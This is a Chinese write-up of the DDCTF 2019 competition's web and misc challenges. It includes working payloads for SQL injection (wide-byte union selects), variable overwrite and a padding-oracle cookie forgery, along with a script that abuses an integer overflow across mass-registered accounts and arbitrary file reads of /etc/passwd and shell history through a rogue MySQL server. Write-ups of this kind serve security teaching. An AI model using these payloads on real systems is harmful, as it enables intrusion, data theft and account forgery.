DDCTF-2019-writeup(7web+5misc)


一年前第一次參加了DDCTF,再次參加簡單記錄下web與misc的writeup

Web

Web1 滴~

1、jpg參數可以包含文件,參數經過兩次base64和一次16進制編碼,將index.php編碼后,get提交

即可得到index.php源碼。源碼中關鍵有三處,1.csdn博客,2.[a-zA-Z0-9.],3.config替換為!。

2、查看博客,在該博客下另一篇博客中獲取到一個關鍵文件名,practice.txt.swp,一般情況應為.practice.txt.swp,這里應作為特殊情況。

3、從中獲取到關鍵文件名flag!ddctf.php。因為jpg只允許輸入字母數字點,所以無法直接獲取源碼,這里使用config來繞過,即flagconfigddctf.php即可獲取文件內容。
4、文件內容存在變量覆蓋漏洞,構造payload覆蓋即可

http://117.51.150.246/f1ag!ddctf.php?k=practice.txt.swp&uid=f1ag!ddctf.php

Web2 WEB 簽到題

1、訪問頁面,F12-Network-發現一個auth.php,存在一個可偽造的ddctf_username,將其偽造為admin,獲取到http://117.51.158.44/app/fL2XID2i0Cdh.php,獲取到兩個文件的源碼

2、將源碼內容全部一遍,並且分析后,得知需要構造ddctf_id通過反序列化來讀取flag,需要注意的幾個點,

  a) ddctf_id要驗證md5,且存在鹽config/key.txt

  b) Path長度為18,會將../替換為空

3、關於a,當輸入一個nickname時,會輸出Welcome my friend $nickname,但因使用sprintf函數,存在格式化字符串操作,所以輸入%s會輸出config/key.txt,注意修改content-type。之后可以使用這個key偽造ddctf_id,格式為key+ser+md5(key+ser),並且Session.php包含了appication.php所以可以直接偽造application

4、關於b,../可以使用雙寫繞過,不足18字符部分,使用.和/補充。這里我的payload為

 

 

Web3 Upload-IMG

上傳圖片,將返回的圖片下載,發現經過了二次渲染。在github搜索imagecreatefromjpeg后,找到個poc

https://github.com/fakhrizulkifli/Defeating-PHP-GD-imagecreatefromjpeg

知道該版本渲染存在繞過方式,只需在ffda....3f00后更改為想要的字符將不會被二次渲染,除此之外程序永遠返回jpg。所以構造即可。

 

 

但是這里來到了坑點,並不是所有圖片不會改變,在windows的phpstudy和linux下,多次嘗試后發現,只需將一張渲染后的圖片拿來更改成功率會大大提高,所以整個流程為。上傳一張jpg,下載,更改下載的這張jpg,上傳,獲取flag。有一定成功率,多嘗試即可。

Web4 homebrew event loop

審計源碼后,知道輸入的請求會被多段解析,最后在eval處執行方法,並且帶一個list參數args。因為使用eval來執行參數,所以只需在url中使用%23(#)后即可注釋后續字符,繞過handler限制,但因為存在一個list參數,所以無法直接執行FLAG,繼續審計,得知trigger_event函數為一個隊列,且執行buy_handler會把consume_point_function放入隊列。

buy_handler的參數可以大於3,但因consume_point_function會驗證回滾,所以我們就是要解決這個問題。經過審計,發現可以構造任意方法隊列,所以我們直接構造這樣的payload,action:trigger_event%23;action:buy;5%23action:get_flag;,即可將flag寫入session。最后使用ph師傅的flask session解密腳本,解出flag

Web5 歡迎報名DDCTF

根據提示嘗試xss,發現第一行,第二行,有字符輸入限制。只需將xss,payload寫在第三行即可xss成功,因之前掃描發現login.php,admin.php,且提示說不是xss cookie,所以這里嘗試獲取源碼,在admin.php中獲取到一個query_aIeMu0FUoVrW0NWPHbN6z4xh.php,根據提示,輸入id,沒有回顯。嘗試或其其他頁面,獲取到一個hint.php,得到查詢字段。依然沒有進展。最后在返回數據包中發現gbk,且提示為注入,嘗試寬字節注入,%df%27...%23,經過常規手工注入后獲取到flag

1 ?id=1%df' union select 1,2,3,table_schema,table_name from information_schema.tables%23
2 ?id=1%df' union select 1,2,3,4,column_name from information_schema.columns%23
3 ?id=1%df' union select 1,2,ctf_value,4,5 from ctfdb.ctf_fhmHRPL5%23

 

 

 

Web6 大吉大利,今晚吃雞~

第一關整數溢出,將票價定為2**32即可在付款時0元購票。

第二關需要新建多個小號,完成100次不同編號的擊殺,只能使用腳本。這里給出腳本。

 

 1 import requests
 2 import time
 3 
 4 for i in range(0,500):
 5     s=requests.session()
 6     r=''
 7     username='wons'+str(i)
 8     while '-' not in r:
 9         url='http://117.51.147.155:5050/ctf/api/register?name={username}&password=wonswons'.format(username=username)
10         s.get(url)
11         url='http://117.51.147.155:5050/ctf/api/login?name={username}&password=wonswons'.format(username=username)
12         s.get(url)
13         url='http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296'
14         s.get(url)
15         url="http://117.51.147.155:5050/ctf/api/get_user_balance"
16         r=s.get(url).content[46:82]
17         print 1,r
18         time.sleep(0.8)
19     id=''
20     ticket=''
21     while id =='' or ticket=='':
22         url="http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id="+r
23         s.get(url)
24         url="http://117.51.147.155:5050/ctf/api/search_ticket"
25         try:
26             t=eval(s.get(url).content)
27             id=t['data'][0]['id']
28             ticket=t['data'][0]['ticket']
29         except:
30             pass
31         print 2,t
32         time.sleep(0.5)
33     v=''
34     if id==31:
35         continue
36     while '\u79fb\u9664\u4e00\u4e2a\u673a\u5668\u4eba\u73a9\u5bb6' not in v: 
37         s=requests.session()
38         url='http://117.51.147.155:5050/ctf/api/login?name=wons&password=wonswons'
39         s.get(url)
40         url='http://117.51.147.155:5050/ctf/api/remove_robot?id={id}&ticket={ticket}'.format(id=id,ticket=ticket)   
41         v=s.get(url).text
42         time.sleep(0.5)
43         print 3,v

Web7 mysql弱口令

將agent.py部署后,服務器建立mysql且為弱口令,多次tcpdump抓取數據,並且根據提示。大概明白是要完成一個類似於中間人攻擊的操作,在github找到Rogue-MySql-Server,並且將agent.py返回的Rogue-MySql-Server的py進程,偽造為mysqld。達到任意文件讀。嘗試讀取/etc/passwd,發現dc2-user,嘗試讀取其.bash_history,讀取到后無果,嘗試讀取root的.bash_history,發現了關鍵內容vim /home/dc2-user/ctf_web_2/app/main/views.py,讀取view.py后,發現flag在數據庫中,經過多次嘗試在/var/lib/mysql/security/flag.ibd中找到flag

 

Web8 再來1杯Java(並未解出)

Padding Oracel,這里附上腳本

 1 #coding=utf-8
 2 import requests
 3 s='UGFkT3JhY2xlOml2L2NiY8O+7uQmXKFqNVUuI9c7VBe42FqRvernmQhsxyPnvxaF'.decode('base64')
 4 
 5 #####獲取后半段的middle
 6 '''
 7 middle=[]
 8 for i in range(1,17):
 9     iv=''
10     for j in middle[::-1]:
11         iv+=chr(i^j)
12     for j in range(256):
13         token=s[:16]+'\x00'*(16-i)+chr(j)+iv+s[32:]
14         token=token.encode('base64')[:-1]
15         cookies= {'token': token}
16         r=requests.get('http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/gen_token',cookies=cookies).text
17         if 'parse' in r:
18             middle.append(j^i)
19             print token
20             break
21     print middle
22 '''
23 ####偽造后半段的iv
24 '''
25 middle=[19, 80, 63, 211, 94, 75, 38, 89, 11, 199, 102, 4, 138, 135, 211, 167][::-1]
26 text='dmin":true}\x05\x05\x05\x05\x05'
27 new_iv=''
28 for i in range(len(text)):
29     new_iv+=chr(ord(text[i])^middle[i])
30 token=s[:16]+new_iv+s[32:]
31 token=token.encode('base64')[:-1]
32 print token
33 '''
34 ###UGFkT3JhY2xlOml2L2NiY8O+7uQmXLN5LEM2W9Y6VRa42FqRvernmQhsxyPnvxaF
35 s='UGFkT3JhY2xlOml2L2NiY8O+7uQmXLN5LEM2W9Y6VRa42FqRvernmQhsxyPnvxaF'.decode('base64')
36 
37 #####獲取前半段的middle
38 '''
39 middle=[]
40 for i in range(1,17):
41     iv=''
42     for j in middle[::-1]:
43         iv+=chr(i^j)
44     for j in range(256):
45         token='\x00'*(16-i)+chr(j)+iv+s[16:32]
46         token=token.encode('base64')[:-1]
47         cookies= {'token': token}
48         r=requests.get('http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/api/gen_token',cookies=cookies).text
49         if 'parse' in r:
50             middle.append(j^i)
51             print token
52             break
53     print middle'''
54 
55 middle=[155, 97, 132, 252, 102, 28, 20, 19, 14, 193, 24, 113, 210, 113, 223, 16][::-1]
56 ####偽造前半段的iv
57 text='{"id":100,"roleA'
58 new_iv=''
59 for i in range(len(text)):
60     new_iv+=chr(ord(text[i])^middle[i])
61 token=new_iv+s[16:]
62 token=token.encode('base64')[:-1]
63 print token
64 #a/0YtlMi8D4jOD4Uk+gE2sO+7uQmXLN5LEM2W9Y6VRa42FqRvernmQhsxyPnvxaF

后續存在任意文件讀,沒有思路

Misc

Misc1 真簽到題

公告欄里獲取

Misc2 北京地鐵

Lsb隱寫得到aes密文,地圖上魏公村顏色不一樣,拼音即為密鑰

 

1 from Crypto.Cipher import AES
2 
3 key='weigongcun'
4 cryptor = AES.new(key+(16-len(key))*'\x00', AES.MODE_ECB)
5 text = cryptor.decrypt('iKk/Ju3vu4wOnssdIaUSrg=='.decode('base64'))
6 print text #DDCTF{CD*Q23&0}

Misc3 MulTzor

直接看密文發現每6個16進制可以分為一組,開頭都為0-9,猜測是使用3位長的密鑰進行加密,最終發現不對。最后使用xortool -c 20 file分析,獲取了明文。

Misc5 Wireshark

從兩個上傳表單中獲取到兩張圖,其中一張通過改高度獲取key,然后將另一張放入數據包中出現的地址進行隱寫解密,獲取flag的十六進制

http://tools.jb51.net/aideddesign/img_add_info

Misc6 聯盟決策大會

 1 p = 0xC53094FE8C771AFC900555448D31B56CBE83CBBAE28B45971B5D504D859DBC9E00DF6B935178281B64AF7D4E32D331535F08FC6338748C8447E72763A07F8AF7
 2 A1 = 0x30A152322E40EEE5933DE433C93827096D9EBF6F4FDADD48A18A8A8EB77B6680FE08B4176D8DCF0B6BF50000B74A8B8D572B253E63473A0916B69878A779946A
 3 A2 = 0x1B309C79979CBECC08BD8AE40942AFFD17BBAFCAD3EEBA6B4DD652B5606A5B8B35B2C7959FDE49BA38F7BF3C3AC8CB4BAA6CB5C4EDACB7A9BBCCE774745A2EC7
 4 A4 = 0x1E2B6A6AFA758F331F2684BB75CC898FF501C4FCDD91467138C2F55F47EB4ED347334FAD3D80DB725ABF6546BD09720D5D5F3E7BC1A401C8BD7300C253927BBC
 5 B3 = 0x300991151BB6A52AEF598F944B4D43E02A45056FA39A71060C69697660B14E69265E35461D9D0BE4D8DC29E77853FB2391361BEB54A97F8D7A9D8C66AEFDF3DA
 6 B4 = 0x1AAC52987C69C8A565BF9E426E759EE3455D4773B01C7164952442F13F92621F3EE2F8FE675593AE2FD6022957B0C0584199F02790AAC61D7132F7DB6A8F77B9
 7 B5 = 0x9288657962CCD9647AA6B5C05937EE256108DFCD580EFA310D4348242564C9C90FBD1003FF12F6491B2E67CA8F3CC3BC157E5853E29537E8B9A55C0CF927FE45
 8 c1=(A1*8-A2*6+A4)/3
 9 c2=B3*10-B4*15+B5*6
10 print hex(c1*2-(c2%p))[2:-1].decode('hex') #DDCTF{5x3ROxvqF2SJrDdVy73IADA04PxdLLab}

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM